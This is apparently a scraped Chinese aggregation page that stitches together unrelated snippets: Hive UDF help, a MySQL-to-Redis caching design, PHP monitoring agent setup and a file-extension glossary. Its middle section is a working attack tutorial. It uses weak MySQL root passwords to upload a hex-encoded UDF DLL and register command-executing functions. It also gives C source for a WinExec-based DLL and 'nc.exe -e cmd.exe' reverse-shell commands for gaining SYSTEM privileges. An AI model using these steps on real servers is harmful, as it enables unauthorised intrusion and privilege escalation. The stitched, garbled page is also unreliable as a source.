您的位置:

udfphp脚本的简单介绍

本文目录一览:

hive 调用python 写的udf 报错

你把print写在try里面当然会少数据。你应该try访问fields数组并更新fields[2]的值。另一方面,从功能点上来说,使用SQL函数nvl或coalesce就能实现,没必要写个UDF来实现,你这样做增加额外的IO消耗和工作量。如果一定要写UDF,建议少用print,改用标准输出实现:sys.stdout.write()。

redis怎么实现数据库的缓存

对于变化频率非常快的数据来说,如果还选择传统的静态缓存方式(Memocached、File System等)展示数据,可能在缓存的存取上会有很大的开销,并不能很好的满足需要,而Redis这样基于内存的NoSQL数据库,就非常适合担任实时数据的容器。

但是往往又有数据可靠性的需求,采用MySQL作为数据存储,不会因为内存问题而引起数据丢失,同时也可以利用关系数据库的特性实现很多功能。

所以就会很自然的想到是否可以采用MySQL作为数据存储引擎,Redis则作为Cache。而这种需求目前还没有看到有特别成熟的解决方案或工具,因此采用Gearman+PHP+MySQL UDF的组合异步实现MySQL到Redis的数据复制。

MySQL到Redis数据复制方案

无论MySQL还是Redis,自身都带有数据同步的机制,比较常用的MySQL的Master/Slave模式,就是由Slave端分析Master的binlog来实现的,这样的数据复制其实还是一个异步过程,只不过当服务器都在同一内网时,异步的延迟几乎可以忽略。

那么理论上也可以用同样方式,分析MySQL的binlog文件并将数据插入Redis。但是这需要对binlog文件以及MySQL有非常深入的理解,同时由于binlog存在Statement/Row/Mixedlevel多种形式,分析binlog实现同步的工作量是非常大的。

因此这里选择了一种开发成本更加低廉的方式,借用已经比较成熟的MySQL UDF,将MySQL数据首先放入Gearman中,然后通过一个自己编写的PHP Gearman Worker,将数据同步到Redis。比分析binlog的方式增加了不少流程,但是实现成本更低,更容易操作。

如何使用工具进行线上 PHP 性能追踪及分析

New Relic 和 OneAPM 是两款类似的性能分析工具,通过简单的安装之后,就有现成的图表和分析数据可用。前一段时间尝试过线上使用 New Relic ,估计是因为墙的原因,造成了 php-fpm 进程阻塞,具体表现为 netstat 中php-fpm 开启的端口始终不回收,墙内环境使用墙外服务器很难保证服务的稳定性,所以你可以试一下这款 OneAPM PHP性能分析产品。

PHP Agent 的安装与简易用法

注册账户后, OneAPM 会提供一个 License Key,下载 PHP Agent 之后,执行安装脚本:

1. 解压 Agent 安装包

tar -xzf OneAPM_php_Agent_latest.tar.gz

2.定位至「安装包所在路径」

cd oneapm-php5-linux-install-script

3. 执行安装脚本

sudo ./oneapm-install install --license=BQ4NSVlMX399eAhNWUdfVE790d1

如果提示未找到 PHP 路径或安装失败,执行下面这条一键安装命令:

sudo ./oneapm-install install --php-path=/usr/local/php5/bin --php-ini-file=/usr/local/php5/etc/php.ini --license=BQ4NSVlMX399eAhNWUdfVE790d1

根据服务器 PHP 环境修改上面命令中 PHP 路径、php.ini 路径和授权码,修改后执行这一键安装命令。

等待安装脚本执行。若出现以下信息,则安装成功。

OneAPM is now installed on your system. Congratulations! Restart your web server or servers.

Any question join qq group:321095806 or contact

安装完成之后,重启 Apache 或 php-fpm。然后,稍等片刻,等待 OneAPM 接收 Agent 发送的数据。

请帮忙看看这几条UDF命令是什么意思

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到!

首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF

DLL中自写的Function函数,而执行任意命令。

思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦!

下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法):

set @a =

concat('',0x0123abc1312389…..);

set @a = concat(@a,0x4658978abc545e……);

………………….

create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob

insert into Mix values("");update Mix set data = @a;//@a插入表Mix

select

data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//导出表中内容为文件

前两句很熟悉把,这个就是我们以前注入的时候,绕过’的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。

后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下:

fp=wscript.arguments(0

fn=right(fp,len(fp)-instrrev(fp,"\"))

with

createobject("adodb.stream")

.type=1:.open:.loadfromfile

fp:str=.read:sl=lenb(str)

end with

sll=sl mod 65536:slh=sl\65536

with

createobject("scripting.filesystemobject").opentextfile(fp".txt",2,true)

.write "set @a = concat('',0x"

for i=1 to sl

bt=ascb(midb(str,i,1))

if bt16 then .write "0"

.write hex(bt)

if i mod 128=0 then

.write ");" vbcrlf "set @a = concat(@a,0x"

next

end with

好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set

@a = concat('',0x”删除了,加上建表,插值得那三句代码即可!

脚本生成了,如何上传?先登陆mysql服务器:

C:\mysql –u root –h hostip –p

Mysqluse mysql;

//先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库

Mysql\. E:\*.dll.txt;

//这儿就是你生成的mysql脚本

按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了!

下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧!

先用mix.dll:

登陆mysql,输入命令:

Mysql \. e:\mix.dll.txt;

Mysql

CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';

//这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令!

Mysql select

Mixconnect('你的ip','8080'); //填写你的反弹ip和端口

过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1:

这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select

Mixconnect('你的ip','8080');”的时候,对方的mysql会当掉!报错,然后服务停止!

所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。

再用my_udf.dll:

Mysql\. C:\my_udf.dll.txt

Mysql CREATE FUNCTION my_udfdoor

RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';

//同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数

Mysql select my_udfdoor('’);

//这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数

好了,现在你可以不用关这个shell了,我们再开一个cmd,使用:

D:\nc hostip 3306

*

4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k”

,他是my_udfdoor默认密码,自己无法更改

过一会儿,你就有了系统权限的shell了,

由于他是hook

recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select

my_udfdoor('’);”后),不管你是否连接,只要执行了:

Mysqldrop function my_udfdoor;

后,mysql也汇报错,然后挂掉,

所以,你使用这个dll文件无法删除你的痕迹!

最后,然我们自己写一个自定义的dll文件。看能不能解决问题。

我们仅仅使用mysql 得udf的示例作模版即可!看他的示例:

#include

#include

#include

extern "C" {

char *my_name(UDF_INIT *initid, UDF_ARGS

*args, char *is_null,

char *error);

// 兼容C

}

char

*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,

char *error)

{

char * me = "my name";

return me;

// 调用此UDF将返回 my name

}

十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了:

下面是我的一个哥们Crackme是修改的:

#include

#include

#include "mysql.h"

extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS

*args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改

__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char

*is_null, char *error) //当然这儿的sys_name也得改!

{

char me[256] = {0};

if

(args-arg_count == 1){

strncpy(me,args-args[0],args-lengths[0]);

me[args-lengths[0]]='\0';

WinExec(me,SW_HIDE); //就是用它来执行任意命令

}else

strcpy(me,"do nonthing.\n");

return me;

}

好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把!

看操作:

Mysql\.

C:\sysudf.dll.txt

MysqlCreate function sys_name returns string soname

'C:\\windows\\sysudf.dll';

Mysql\. Nc.exe.txt //把nc.exe也上传上去

Mysqlselect sys_name('nc.exe -e cmd.exe 我的ip 8080');

//sys_name参数只有一个,参数指定要执行的系统命令

好,看看在Win2003中的一个反弹shell了,

当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop

function

sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。

上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。

好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?

(五)Hive的UDF、UDAF和UDTF自定义函数

order by(全局排序):不经常用

sort by+distrbutre by :经常用

set mapreduce.job.reduce=3;

select * from emp sort by empno desc;

select sal,deptno from emp distribute by sal sort by sal;

cluster by:只能是升序排序,相当于(sort by+distrbutre by )

select sal,deptno from emp cluster bY sal;

select concat_ws('_','sdfsdf','sdfs','123');

select cast('000000000000123123123123' as bigint);

select parse_url(' ;k2=v2#Ref1','HOST' );

select get_json_object('{"name":"jack","age":"20"}','$.name');

实现wordcount

create table t_movie(

name string,

type string

)

row format delimited fields terminated by ' '

lines terminated by '\n'

location '/data/inner/ODS/01/t_movie';

load data inpath '/data/inner/RAW/01/t_movie/movie' into table t_movie;

select * from t_movie;

select name,split(type,',') from t_movie;

select explode(split(type,',')) from t_movie;

select name,tcol from t_movie LATERAL VIEW explode(split(type,',')) typetable AS tcol;

create table t_wordcount(

wordline string

)

row format delimited fields terminated by '\n'

location '/data/inner/ODS/01/t_wordcount';

load data inpath '/data/inner/RAW/01/t_wordcount/harry' into table t_wordcount;

select word,count(word) from t_wordcount lateral view explode(split(wordline,' ')) eswtable as word group by word;

select word,count(word) from (select explode(split(wordline,' ')) word from t_wordcount) esw group by word;

1,继承类

2,重写方法(实现逻辑)

3,打包

4,上传,创建函数

dependencies

dependency

groupIdorg.apache.hadoop/groupId

artifactIdhadoop-client/artifactId

version2.6.5/version

/dependency

dependency

groupIdorg.apache.hadoop/groupId

artifactIdhadoop-hdfs/artifactId

version2.6.5/version

/dependency

dependency

groupIdorg.apache.hive/groupId

artifactIdhive-exec/artifactId

version1.2.1/version

/dependency

/dependencies

UDF:

public class UDFHello extends UDF {

public static String evaluate(String value) {

..................

}

}

hadoop fs -mkdir -p /bdp/hive/bin/lib

hadoop fs -put ./demouf.jar /bdp/hive/bin/lib

create function sxt_hello as 'com.vincent.UDFHello' using jar 'hdfs:////bdp/hive/bin/lib/demouf.jar';

UDAF:

public static class SxtInnerClass implements UDAFEvaluator {

@Override

//获取Hive的集群信息

public void init() {}

//输入数据端,进行map操作

public boolean iterate(String value) {}

//数据输出端,进行reduce输出

public int terminatePartial() {}

public String terminate() {}

}

}

UDTF:

public class ExplodeMap extends GenericUDTF {

@Override

//数据结果:主要用来写逻辑操作

public void process(Object[] args){}

@Override

//数据输入端:主要用来检测数据是否符合标准

public StructObjectInspector initialize(ObjectInspector[] args){}

@Override

//关闭

public void close() {}

}

常用文件扩展名的说明

扩展名 说明

A:对象代码库文件

AAM:Authorware shocked文件

AAS:Authorware shocked包

ABF:Adobe二进制屏幕字体

ABK:CorelDRAW自动备份文件

ABS:该类文件有时用于指示一个摘要(就像在一篇有关科学方面的文章的一个摘要或概要,取自abstract)

ACE:Ace压缩文件格式

ACM:Windows系统目录文件

ACP:Microsoft office助手预览文件

ACT:Microsoft office助手文件

AD:After Dark屏幕保护程序

ADA:Ada源文件(非-GNAT)

ADB:Ada源文件主体(GNAT);HP100LX组织者的约定数据库

ADF:Amiga磁盘文件

ADI:AutoCAD设备无关二进制绘图仪格式

ADM:After Dark多模块屏幕保护;Windows NT策略模板

ADP:FaxWork用于传真调制解调器的交互安装文件;Astound Dynamite文件

ADR:After Dark随机屏幕保护;Smart Address的地址簿

ADS:Ada源文件说明书(GNAT)

AFM:Adobe的字体尺度

AF2/AF3:ABC的FlowChat文件

AI:Adobe Illustrator格式图形

AIF/AIFF:音频互交换文件,Silicon Graphic and Macintosh应用程序的声音格式

AIFC:压缩AIF

AIM:AOL即时信息传送

AIS:ACDSee图形序列文件;Velvet Studio设备文件

AKW:RoboHELP的帮助工程中所有A-关键词

ALB:JASC Image Commander相册

ALL:艺术与书信库

AMS:Velvet Studio音乐模块(MOD)文件;Extreme的Tracker模块文件

ANC:Canon Computer的调色板文件,包含一系列可选的颜色板

ANI:Windows系统中的动画光标

ANS:ANSI文本文件

ANT:SimAnt For Windows中保存的游戏文件

API:Adobe Acrobat使用的应用程序设计接口文件

APS:Microsoft Visual C++文件

ARI:Aristotle声音文件

ARJ:Robert Jung ARJ压缩包文件

ART:Xara Studio绘画文件;Canon Crayola美术文件;Clip Art文件格式;另一种光线跟踪格式;AOL使用的用Johnson-Grace压缩算法压缩的标记文件

ASA:Microsoft Visual InterDev文件

ASC:ASCⅡ文本文件;PGP算法加密文件

ASD:Microsoft Word的自动保存文件;Microsoft高级流媒体格式(microsoft advanced streaming format,ASF)的描述文件;可用NSREX打开 Velvet Studio例子文件

ASE:Velvet Studio采样文件

ASF:Microsoft高级流媒体格式文件

ASM:汇编语言源文件,Pro/E装配文件

ASO:Astound Dynamite对象文件

ASP:动态网页文件;ProComm Plus安装与连接脚本文件;Astound介绍文件

ASV:DataCAD自动保存文件

ASX:Cheyenne备份脚本文件;Microsoft高级流媒体重定向器文件,视频文件

ATW:来自个人软件的Any Time Deluxe For Windows个人信息管理员文件

AU:Sun/NeXT/DEC/UNIX声音文件;音频U-Law(读作“mu-law”)文件格式

AVB:Computer Associates Inoculan反病毒软件的病毒感染后文件

AVI:Microsoft Audio Video Interleave电影格式

AVR:Audio Visual Research文件格式

AVS:应用程序可视化格式

AWD:FaxVien文档

AWR:Telsis数字储存音频文件扩展名格式

Axx:ARJ压缩文件的分包序号文件,用于将一个大文件压至几个小的压缩包中(xx取01-99的数字)

A3M/A4M:Authorware Macintosh未打包文件

A4P:Authorware无运行时间的打包文件

A3W/A4W/A5W:未打包的Authorware Windows文件 扩展名 说明

BAK:备份文件

BAS:BASIC源文件

BAT:批处理文件

BDF:West Point Bridger Designer文件

BGL:Microsoft Flight Simulator(微软飞行模拟器)的视景文件

BI:二进制文件

BIF:Group Wise的初始化文件

BIFF XLIFE 3D格式文件

BIN 二进制文件

BK/BK$ 有时用于代表备份版本

BKS IBM BookManager Read书架文件

BMK 书签文件

BMP Windows或OS/2位图文件

BOOK Adobe FrameMaker Book文件

BRX 用于查看多媒体对象目录的文件

BSP Quake图形文件

BTM Norton 应用程序使用的批处理文件

BUD Quicken的备份磁盘

BUN CakeWalk 声音捆绑文件(一种MIDI程序)

BW SGI黑白图像文件

BWV 商业波形文件 扩展名 说明

C C代码文件

CAB Microsoft压缩文件

CAD Softdek的Drafix CAD文件

CAL CALS压缩位图;日历计划表数据

CAP 压缩音乐文件格式

CAS 逗号分开的ASCⅡ文件

CB Microsoft干净引导文件

CC Visual dBASE用户自定义类文件

CCB Visual Basic动态按钮配置文件

CCH Corel图表文件

CCO CyberChat数据文件

CCT Macromedia Director Shockwave投影

CDA CD音频轨道

CDF Microsoft频道定义格式文件

CDI Philip的高密盘交互格式

CDM Visual dBASE自定义数据模块文件

CDR CorelDRAW绘图文件;原始音频CD数据文件

CDT CorelDRAW模板

CDX CorelDRAW压缩绘图文件;Microsoft Visual FoxPro索引文件

CFG 配置文件

CGI 公共网关接口脚本文件

CGM 计算机图形元文件

CHK 由Windows磁盘碎片整理器或磁盘扫描保存的文件碎片

CHM 编译过的HTML文件

CHR 字符集(字体文件)

CIF Adaptec CD 创建器 CD映像文件

CIL Clip Gallery下载包

CLASS Java类文件

CLL Crick Software Clicker文件

CLP Windows 剪贴板文件

CLS Visual Basic类文件

CMF Corel元文件

CMV Corel Move动画文件

CMX Corel Presentation Exchange图像

CNF Telnet,Windows和其他其内格式会发生改变的应用程序使用的配置文件

CNM Windows应用程序菜单选项和安装文件

CNT Windows(或其他)系统用于帮助索引或其他目的内容文件

COD Microsoft C编译器产生的可显示机器码/汇编代码文件,其中附有源C代码作为注释

COM 命令文件(程序)

CPL 控制面板扩展名,Corel颜色板

CPO Corel打印存储文件

CPP C++代码文件

CPR Corel提供说明书文件

CPT Corel 照片-绘画图像

CPX Corel Presentation Exchange压缩图形文件

CRD Windows Cardfile文件

CRP Corel 提供的运行时介绍文件;Visual dBASE自定义报表文件

CRT 认证文件

CSC Corel脚本文件

CSP PC Emcee On_Screen图像

CST Macromedia Director Cast文件

CSV 逗号分隔的值文件

CTL 通常用于表示一个包含控件信息的文件;FaxWork用它来保持有关每个传真收到或发出的信息

CUR Windows光标文件

CV Corel版本的档案文件;Microsoft CodeView信息屏幕文件

CXX C++源代码文件 扩展名 说明

DAT 数据文件;WrodPerfect合并数据文件;用于一些MPEG格式的文件

DB Borland的Paradox 7表

DBC Microsoft Visual FoxPro数据库容器文件

DBF dBASE文件

DBX DataBearn图像;Microsoft Visual FoxPro表格文件

DCM DCM模块格式文件

DCS 桌面颜色分隔文件

DCT Microsoft Visual FoxPro数据库容器

DCU Delphi编译单元文件

DCX Microsoft Visual FoxPro数据库容器;基于PCX的传真图像;宏

DEM 用于表示数字高度模型的USGS基准的文件

DER 认证文件

DEWF Macintosh Sound Cap/Sound Edit录音设备格式

DIB 设备无关位图

DIC 目录

DIF 可进行数据互换的电子表格

DIG DigiLink格式;Sound DesignerⅠ音频文件

DIR Macromedia Director文件

DIZ 描述文件

DLG C++对话框脚本文件

DLL 动态链接库

DLS 可下载声音文件

DMD Visual dBASE数据模块文件

DMF X-Trakker音乐模块(MOD)文件

DOC Word文档

DOT Microsoft Word文档模板

DRAW Acorn的基于对象的矢量图像文件

DRV 驱动程序

DRW Micrografx Designer/Draw;Pro/E绘画文件

DSF Micrografx Designer VFX文件

DSG DOOM保存的文件

DSM Dynamic Studio音乐模块(MOD)文件

DSP Microsoft Developer Studio工程文件

DSQ Corel QUERY(查询)文件

DSW Microsoft Developer Studio工作区文件

DTD SGML文档类型定义(DTD)文件

DUN Microsoft拔号网络导出文件

DV 数字视频文件(MIME)

DXF 可进行互交换的绘图文件格式,二进制的DWG格式的文本表示;数据交换文件

DXR Macromedia Director受保护(不可编辑)电影文件 扩展名 说明

EDA Ensoniq ASR磁盘映像

EDD 元素定义文档(FrameMaker+SGML文档)

EMD ABT扩展模块

EMF Windows增强元文件

EML Microsoft Outlook Express邮件消息(MIME RTC822)文件

EPHTML Perl解释增强HTML文件

EPS 压缩的PostScript图像

EXE 可执行文件(程序) 扩展名 说明

FAV Microsoft Outlook导航条

FAX 传真类型图像

FCD 虚拟CD-ROM

FDF A dobe Acrobat表单文档文件

FFA/FFL/FFO/FFK Microsoft快速查找文件

FIF Fractal图像文件

FLA Macromedia Flash电影

FLC Autodesk FLIC动画文件

PLI Autodesk FLIC动画

FM Adobe FrameMaker文档

FML 文件镜象列表(GetRight)

FNG 字体组文件(字体导航器,Font Navigator)

FNK Funk Tracker模块格式

FON 系统字体

FOT 字体相关文件

FRT Microsoft FoxPro报表文件

FRX Visual Basic表单文本;Microsoft FoxPro报表文件

FTG 全文本搜索组文件,由Windows帮助系统查找时产生--可以删除,并在需要时重建起来

FTS 全文本搜索引文件,由Windows帮助系统查找时产生 扩展名 说明

GAL Corel多媒体管理器相集

GDB InterBase数据库文件

GDM 铃声、口哨声和声音板模块格式

GEM GEM元文件

GEN Ventura产生的文本文件

GetRight GetRight未完成的下载文件

GFI/GFX Genigraphics图形链接表示文件

GHO Norton 克隆磁盘映像

GIF CompuServe位图文件

GIM/GIX Genigraphics图形链接介绍文件

GKH Ensoniq EPS家簇磁盘映像文件

GKS Gravis Grip Key文档

GL 动画格式

GNA Genigraphics图形链接介绍文件

GNT 生成代码,Micro Focus属性格式里的可执行代码

GNX Genigraphics图形链接介绍文件

GRA Microsoft Graph文件

GRF Grapher(Golden Software公司)图形文件

GRP 程序管理组 扩展名 说明

HCOM 声音工具HCOM格式

HGL HP图形语言绘图文件

HLP 帮助文件;Date CAD Windows帮助文件

HPJ Visual Basic帮助工程

HPP C++程序头文件

HST 历史文件

HT HyperTerminal(超级终端)

HTM/HTML 超文本文档

HTT Microsoft超文本模板

HTX 扩展HTML模板 扩展名 说明

ICB Targa位图文件

ICC Kodak打印机格式文件

ICL 图标库文件

ICM 图形颜色匹配配置文件

ICO Windows图标

IDD MIDI设备定义

IDF MIDI设备定义(Windows 95需要的文件)

IDQ Internet数据查询文件

IDX Microsoft FoxPro相关数据库索引文件;Symantec QA相关数据库索引文件;Microsoft Outlook Express文件

IFF 交换格式文件;Amiga ILBM

IGES 初始图形交换说明文件

IGF 插入系统元文件

ILBM 位图图形文件

IMA WinImage磁盘映像文件

INF 信息文件

INI 初始化文件

INRS INRS远程通信声频

INS InstallShield安装脚本

INT 中间代码,当一个源程序经过语法检查后编译产生一个可执行代码

IQY Microsoft Internet查询文件

ISO 根据ISD 9660有关CD-ROM文件系统标准列出CD-ROM上的文件

IST 数字跟踪设备文件

ISU InstallShield卸装脚本

IWC Install Watch文档 扩展名 说明

J62 Ricoh照相机格式

JAR Java档案文件

JAVA Java源文件

JBF Paint Shop Pro图像浏览文件

JFF/JFIF/JIF JPEG文件

JMP SAS的JMPDiscovery表格统计文件

JPE/JPEG/JPG JPEG图形文件

JS Javascript源文件

JSP HTML网页,其中包含有对一个Java servlet的参考

JTF JPEG位图文件 扩展名 说明

K25 Kurzweil 2500抽样文件

KAR 卡拉OK MIDI文件

KDC Kodak光增强器

KEY DataCAD图标工具条文件

KFX KoFak Group 4图像文件

KIZ Kodak数字明信片文件

KKW RoboHELP帮助工程索引设计器中与主题无关的K开头的所有关键字

KMP Korg Trinity KeyMap文件

KQP Konica照相机本地文件 扩展名 说明

LAB Visual dBASE标签文件

LBM Deluxe Paint位图文件

LBT/LBX Microsoft FoxPro标签文件

LDB Microsoft Access加锁文件

LDL Corel Paradox分发库

LEG Legacy文档

LFT 3D Studio(DOS)放样文件

LGO Paintbrush(Microsoft画图应用程序)的徽标文件

LHA LZH更换文件后缀

LIB 库文件

LIN DataCAD线型文件

LIS 结构化查询报告(SQR)程序产生的输出文件

LLX Laplink交换代理

LNK Windows快捷方式文件

LOG 日志文件

LST 列表文件

LU ThoughtWing库单元文件

LYR DataCAD层文件

LZH LH ARC压缩档案

LZS Skyroads数据文件 扩展名 说明

M1V MPEG相关文件(

M3U MPEG URL(MIME声音文件)

MAD Microsoft Access模块文件

MAF Microsoft Access表单文件

MAM Microsoft Access宏

MAP 映射文件;Duke Nukem 3D WAD游戏文件

MAQ Microsoft Access查询文件

MAR Microsoft Access报表文件

MAT Microsoft Access表;3D Studio MAX材料库

MB1 Apogee Monster Bash数据文件

MBX Microsoft Outlook保存email格式;Eudora邮箱

MCR DataCAD键盘宏文件

MDB Microsoft Access数据库

MDE Microsoft Access MDE文件

MDL 数字跟踪器音乐模块(MOD)文件;Quake模块文件

MDN Microsoft Access空数据库模板

MDW Microsoft Access工作组文件

MDZ Microsoft Access向导模板文件

MIC Microsoft Image Composer文件

MID MIDI音乐

MIM, MIME,MME Internet邮件扩展格式的多用途文件,经常作为发送e-mail时在AOL里附件而创建的文件;在一个多区MIM文件里的文件能用WinZip或其他类似程序打开

MLI 3D Studio的材料库格式文件

MNG 多映像网络图形

MNU Visual dBASE菜单文件;Intertel Systems Interact菜单文件

MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音乐模块文件;Microsoft多计划电子表格;Amiga/PC磁道文件

MOV QuickTime for Windows电影

MP2 第二层MPEG音频文件

MP3 第三层MPEG音频文件

MPA MPEG相关文件,MIME“mpeg类型”

MPE/MPEG/MPG MPEG动画文件

MPP Microsoft工程文件;CAD绘图文件格式

MPR Microsoft FoxPro菜单(已编译)

MSG Microsoft邮件消息

MSI Windows 安装文件包

MSN Microsoft网络文档;Descent Mission文件

MSP Microsoft Paint(画图)位图文件;Windows Installer路径文件

MST Windows 安装器传输文件

MTM Multi 跟踪器音乐模块(MOD)文件 扩展名 说明

NAN Nanoscope文件(Raw Grayscale)

NAP NAP元文件

NCB Microsoft Developer Studio文件

NCD Norton改变目录

NCF NetWare命令文件;Lotus Notes内部剪切板

NFF 中性文件格式

NFT NetObject Fusion模板文件

NIL Norton光标库文件(EasyIcons-兼容)

NIST NIST Sphere声音

NLS 用于本地化的国家语言支持文件(例如,Uniscape)

NLU Norton Live Update e-mail 触发器文件

NTX CA-Clipper索引文件

NWC Noteworthy Composer歌曲文件

NWS Microsoft Outlook Express新闻消息 扩展名 说明

OBJ 对象文件

OCX Microsoft对象链接与嵌入定制控件

ODS Microsoft Outlook Express邮箱文件

OFN Microsoft Office FileNew文件

OFT Microsoft Outlook模板

OLB OLE对象库

OLE OLE对象

OOGL 面向对象图形库

OPO OPL输出可执行文件 扩展名 说明

P65 PageMaker 6.5文件

PAB Microsoft个人地址簿

PART Go!Zilla部分下载文件

PAS Pascal源代码

PBD PowerBuilder动态库,作为本地DLL的一个替代物

PBL 用于在PowerBuilder开发环境中的PowerBuilder动态库

PBM 可导出位图

PBR PowerBuilder资源

PCD Kodak Photo-CD映像;P-Code编译器测试脚本,由Microsoft测试与Microsoft Visual测试

PCL Hewlett-Packard 打印机控制语言文件(打印机备用位图)

PCM 声音文件格式;OKI MSM6376 合成芯片 PCM格式

PDD 可以用Paint Shop Pro或其他图像处理软件打开的图形图像

PDF Adobe Acrobat 可导出文档格式文件(可用Web浏览器显示);Microsoft系统管理服务器包定义文件;NetWare打印机定义文件

PFM 打印机字体尺度

PGL HP绘图仪绘图文件

PGM 可输出灰度图(位图)

PH 由Microsoft帮助文件编译器产生的临时文件

PHP/PHP3 包含有PHP脚本的HTML网页

PHTML 包含有PHP脚本的HTML网页;由Perl分析解释的HTML

PIC PC画图位图;Lotus图片;Macintosh PICT绘图

PJX/PJT Microsoft Visual FoxPro工程文件

PKG Microsoft Developer Studio应用程序扩展(与DLL文件类似)

PNG 可移植的网络图形位图;Paint Shop Pro浏览器目录

POT Microsoft Powerpoint模块

PPA Microsoft Powerpoint内插器

PPF Turtle Beach的Pinnacle程序文件

PPM 可移植的象素映射位图

PPS Microsoft Powerpoint幻灯片放映

PPT Microsoft Powerpoint演示文稿

PRF Windows系统文件,Macromedia导演设置文件

PRG dBASE Clipper和FoxPro程序源文件;WAVmaker程序

PRJ 3D Studio(DOS)工程文件

PRN 打印表格(用空格分隔的文本);DataCAD Windows打印机文件

PRT 打印格式化文件;Pro/ENGINEER元件文件

PSD Adobe photoshop位图文件

PSP Paint Shop Pro图像文件

PST Microsoft Outlook个人文件夹文件

PWZ Microsoft Powerpoint向导 扩展名 说明

QIC Microsoft备份文件

QIF QuickTime相关图像(MIME);Quicken导入文件

QLB Quick库

QRY Microsoft查询文件

QTP QuickTime优先文件

QTX QuickTime相关图像

QW Symantec QA Write程序文件 扩展名 说明

RA RealAudio声音文件

RAM RealAudio元文件

RAR RAR压缩档案(Eugene Roshall格式)

RDF 资源描述框架文件(涉及XML和元数据)

REG 注册表文件

REP Visual dBASE报表文件

RES Microsoft Visual C++资源文件

RFT 可修订的表单文本(IBM的DCA一部分或文档内容框架结构一部分)

RGB/SGI Silicon图形RGB文件

RM RealAudio视频文件

RMD Microsoft RegMaid文档

RPT Microsoft Visual Basic Crystal报表文件

RTF Rich Text格式文档

RUL InstallShield使用的扩展名

RVP Microsoft Scan配置文件(MIME) 扩展名 说明

S 汇编源代码文件

SAV 游戏保存文件

SBL Shockwave Flash对象文件

SCC Microsoft Source Safe文件

SCF Windows Explorer命令文件

SCP 拨号网络脚本文件

SCR Windows屏幕保护;传真图像;脚本文件

SCT SAS目录(DOS);Scitex CT位图;Microsoft FoxPro表单

SCX Microsoft FoxPro表单文件

SDT SmartDraw模板

SDV 分号分隔的值文件

SDX 由SDX压缩的MIDI抽样转储标准文件

SEP 标签图像文件格式(TIFF)位图

SFD SoundStage声音文件数据

SFI Sound Stage声音文件信息

SFR Sonic Foundry Sample资源

SFX RAR自解压文件

SGML 标准通用标签语言

SHG 热点位图

SHTML 含有服务器端包括(SSI)的HTML文件

SHW Corel Show演示文稿

SIG 符号文件

SKA PGP秘钥

SKL Macromedia导演者资源文件

SL PACT的保存布局扩展名

SPL Shockwave Flash对象;DigiTrakker抽样

SQC 结构化查询语言(SQR)普通代码文件

SQR 结构化查询语言(SQR)程序文件

STR 屏幕保护文件

SWA 在Macromedia导演文件(MP3文件)中的Shockwave声音文件

SWF Shockwave Flash对象

SYS 系统文件

